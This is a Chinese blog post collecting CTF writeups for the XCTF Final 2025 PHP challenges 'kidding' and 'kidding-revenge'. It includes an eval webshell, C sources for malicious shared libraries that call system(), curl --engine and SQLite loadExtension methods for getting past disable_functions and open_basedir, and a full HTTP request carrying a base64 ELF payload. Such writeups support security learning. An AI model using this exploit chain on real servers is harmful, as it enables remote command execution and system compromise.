博客 / 詳情

返回

XCTF Final 2025 決賽 web 整理學習

自己整理一下兩天的XCTF Final賽事web方向的賽題,網上好像沒有很全的wp,awdp更是完全沒有。就全部找了集合一下再補充自己的(主要是awdp)。

賽制:第一天解題和rw以及pwn單挑,第二天是賽制比較特殊的awd,挺有趣的,十分鐘一輪檢查,給前幾輪所有人攻擊流量和patch包(到後面給的東西輪次會越來越接近當前輪次),先打了本地的才能patch,主要還是pwn太神仙打架了。最快發現最弱的漏洞--攻擊成功--patch種馬--優勢滾雪球。

解題賽:

kidding:

經典繞過 disable_functions 和 open_basedir 題目

<?php
highlight_file(__FILE__);
@eval($_POST['so_ez!k1ddi&g?']);

open_basedir /var/www/html:/tmp
img

proc_open,pcntl_waitpid,pcntl_wait,dl,ini_restore,mb_send_mail,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,pcntl_alarm,pcntl_sigtimedwait,ini_set

然後還有openssl,sqlite3。當時主要思路是去sqlite3繞openbase_dir什麼的,下面是問ai的sqlite3的繞過之一的回答,最後很多嘗試都失敗了。

img)

最後別人題解是這個的報告

curl |報告 #3293801- 標題:通過任意庫遠程代碼執行(RCE)加載在“--engine”選項中 |HackerOne

看到的題解:

XCTF final 2025 N1Star web wp - ENOCH-lyn Blog

不過他這個的第二道題就把curl那一套函數給禁用了。

image-20251205201019731

翻譯的命令行工具是curl

  1. 創建惡意載荷
    把下面 C 代碼保存為 evil_engine.c。庫文件被加載時,會立即執行 id > /tmp/RCE_VIA_ENGINE

    #include <stdlib.h>
    // 動態鏈接器加載庫時,自動運行此構造函數
    __attribute__((constructor))
    static void rce_init(void) {
        system("id > /tmp/RCE_VIA_ENGINE");
    }
    
  2. 編譯成共享庫

    gcc -fPIC -shared -o evil_engine.so evil_engine.c
    
  3. 清理舊痕跡

    rm -f /tmp/RCE_VIA_ENGINE
    
  4. 利用 curl 的 --engine 加載惡意庫

    bash

    複製

    curl --engine $(pwd)/evil_engine.so https://example.com
    

    會看到類似 curl: (53) SSL Engine not found 的錯誤——不重要,因為構造函數已在報錯前執行。

  5. 驗證是否成功觸發了命令執行

    cat /tmp/RCE_VIA_ENGINE
    

    若能讀出 uid=... 信息,證明 RCE 達成。

    別人的博客wp的那一張

    image-20251205201506885

    curl --engine /tmp/evil.so → 加載瞬間 → constructor 執行 → 任意命令
    不受 PHP 禁用函數限制不穿 basedir(加載在 C 層)

kinding-revenge

​ 第二關把curl那一套都禁用了。我在su team的博客找到了答案,他們反而是用第二關的思路做的第一關,不會是因為他們非預期了才加的第二關吧,我記得是後面放出來的這題。_

https://su-team.cn 的微信公眾號發的,寫wp的博客反而沒有

這一題的下面都是他們的內容了:

"""

但偶然看到存在sqlite3 擴展,推測其在putenv 被ban情況下也能完成任意路徑下.so加載
存在SQLite3::loadExtension 方法可以加載庫,但庫必須位於配置選項 sqlite3.extension_dir 中指定的目錄中。

峯迴路轉找到在Pdo\Sqlite::loadExtension 也存在可以加載庫的方法,好像沒有配置限制

依據報錯,構造 so 文件

#include <sqlite3ext.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

SQLITE_EXTENSION_INIT1

#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_exploit_init(
    sqlite3 *db,
    char **pzErrMsg,
    const sqlite3_api_routines *pApi
) {
    SQLITE_EXTENSION_INIT2(pApi);

    const char *command_file_path = "/tmp/1.txt";
    char command_buffer[512] = {0};
    FILE *file_handle;

    file_handle = fopen(command_file_path, "r");
    if (file_handle == NULL) {
        return SQLITE_OK;
    }

    if (fgets(command_buffer, sizeof(command_buffer), file_handle) != NULL) {
        command_buffer[strcspn(command_buffer, "\r\n")] = 0;
        if (strlen(command_buffer) > 0) {
            system(command_buffer);
        }
    }
    fclose(file_handle);
    return SQLITE_OK;
}

寫入,加載

POST / HTTP/1.1
Host: 173.32.20.154
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

Content-Length: 21284

%73%6f%5f%65%7a%21%6b%31%64%64%69%26%67%3f=%24base64%5Fso%20%3D%20%22f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAAAAAAAAAABAAAAAAAAAAAg2AAAAAAAAAAAAAEAAOAAJAEAAHAAbAAEAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAUAAAAAAADIBQAAAAAAAAAQAAAAAAAAAQAAAAUAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAA9AgAAAAAAAD0CAAAAAAAAABAAAAAAAAABAAAABAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAALQAAAAAAAAAtAAAAAAAAAAAEAAAAAAAAAEAAAAGAAAA8C0AAAAAAADwPQAAAAAAAPA9AAAAAAAAQAIAAAAAAABQAgAAAAAAAAAQAAAAAAAAAgAAAAYAAAAALgAAAAAAAAA%2BAAAAAAAAAD4AAAAAAADAAQAAAAAAAMABAAAAAAAACAAAAAAAAAAEAAAABAAAADgCAAAAAAAAOAIAAAAAAAA4AgAAAAAAACQAAAAAAAAAJAAAAAAAAAAEAAAAAAAAAFDldGQEAAAAECAAAAAAAAAQIAAAAAAAABAgAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUeV0ZAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAABS5XRkBAAAAPAtAAAAAAAA8D0AAAAAAADwPQAAAAAAABACAAAAAAAAEAIAAAAAAAABAAAAAAAAAAQAAAAUAAAAAwAAAEdOVQC1DaX3C6ra9C0veZQmRe09DUv69wAAAAACAAAACgAAAAEAAAAGAAAACgAEAAAQAAAAAAAACgAAAAArJSODdAZ5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAkQAAABIAAAAAAAAAAAAAAAAAAAAAAAAAigAAABIAAAAAAAAAAAAAAAAAAAAAAAAAggAAABIAAAAAAAAAAAAAAAAAAAAAAAAAfAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAQAAACAAAAAAAAAAAAAAAAAAAAAAAAAAdgAAABIAAAAAAAAAAAAAAAAAAAAAAAAALAAAACAAAAAAAAAAAAAAAAAAAAAAAAAARgAAACIAAAAAAAAAAAAAAAAAAAAAAAAAYQAAABIADABJEQAAAAAAAOkAAAAAAAAAVQAAABEAFwA4QAAAAAAAAAgAAAAAAAAAAF9fZ21vbl9zdGFydF9fAF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfSVRNX3JlZ2lzdGVyVE1DbG9uZVRhYmxlAF9fY3hhX2ZpbmFsaXplAHNxbGl0ZTNfYXBpAHNxbGl0ZTNfZXhwbG9pdF9pbml0AGZvcGVuAGZnZXRzAHN0cmNzcG4Ac3lzdGVtAGZjbG9zZQBsaWJjLnNvLjYAR0xJQkNfMi4yLjUAAAABAAIAAgACAAIAAQACAAEAAgABAAEAAAABAAEAmAAAABAAAAAAAAAAdRppCQAAAgCiAAAAAAAAAPA9AAAAAAAACAAAAAAAAABAEQAAAAAAAPg9AAAAAAAACAAAAAAAAAAAEQAAAAAAAChAAAAAAAAACAAAAAAAAAAoQAAAAAAAAMA%2FAAAAAAAABgAAAAEAAAAAAAAAAAAAAMg%2FAAAAAAAABgAAAAYAAAAAAAAAAAAAANA%2FAAAAAAAABgAAAAgAAAAAAAAAAAAAANg%2FAAAAAAAABgAAAAsAAAAAAAAAAAAAAOA%2FAAAAAAAABgAAAAkAAAAAAAAAAAAAAABAAAAAAAAABwAAAAIAAAAAAAAAAAAAAAhAAAAAAAAABwAAAAMAAAAAAAAAAAAAABBAAAAAAAAABwAAAAQAAAAAAAAAAAAAABhAAAAAAAAABwAAAAUAAAAAAAAAAAAAACBAAAAAAAAABwAAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiD7AhIiwW9LwAASIXAdAL%2F0EiDxAjDAAAAAAAAAAAA%2FzXKLwAA%2FyXMLwAADx9AAP8lyi8AAGgAAAAA6eD%2F%2F%2F%2F%2FJcIvAABoAQAAAOnQ%2F%2F%2F%2F%2FyW6LwAAaAIAAADpwP%2F%2F%2F%2F8lsi8AAGgDAAAA6bD%2F%2F%2F%2F%2FJaovAABoBAAAAOmg%2F%2F%2F%2F%2FyVaLwAAZpAAAAAAAAAAAEiNPZkvAABIjQWSLwAASDn4dBVIiwUWLwAASIXAdAn%2F4A8fgAAAAADDDx%2BAAAAAAEiNPWkvAABIjTViLwAASCn%2BSInwSMHuP0jB%2BANIAcZI0f50FEiLBeUuAABIhcB0CP%2FgZg8fRAAAww8fgAAAAADzDx76gD0lLwAAAHUrVUiDPcouAAAASInldAxIiz0GLwAA6Fn%2F%2F%2F%2FoZP%2F%2F%2F8YF%2FS4AAAFdww8fAMMPH4AAAAAA8w8e%2Bul3%2F%2F%2F%2FVUiJ5UiB7DACAABIib3o%2Ff%2F%2FSIm14P3%2F%2F0iJldj9%2F%2F9IiwVoLgAASIuV2P3%2F%2F0iJEEiNBX8OAABIiUX4SI2V8P3%2F%2F7gAAAAAuUAAAABIidfzSKtIjRVoDgAASItF%2BEiJ1kiJx%2Bi%2B%2Fv%2F%2FSIlF8EiDffAAdQe4AAAAAOtsSItV8EiNhfD9%2F%2F%2B%2BAAIAAEiJx%2BiE%2Fv%2F%2FSIXAdD5IjRUlDgAASI2F8P3%2F%2F0iJ1kiJx%2BhW%2Fv%2F%2FxoQF8P3%2F%2FwBIjYXw%2Ff%2F%2FD7YAhMB0D0iNhfD9%2F%2F9IicfoIf7%2F%2F0iLRfBIicfoBf7%2F%2F7gAAAAAycMAAEiD7AhIg8QIwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvdG1wLzEudHh0AHIADQoAARsDOyQAAAADAAAAEPD%2F%2F0AAAABw8P%2F%2FaAAAADnx%2F%2F%2BAAAAAAAAAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAACQAAAAcAAAAyO%2F%2F%2F2AAAAAADhBGDhhKDwt3CIAAPxo7KjMkIgAAAAAUAAAARAAAAADw%2F%2F8IAAAAAAAAAAAAAAAcAAAAXAAAALHw%2F%2F%2FpAAAAAEEOEIYCQw0GAuQMBwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA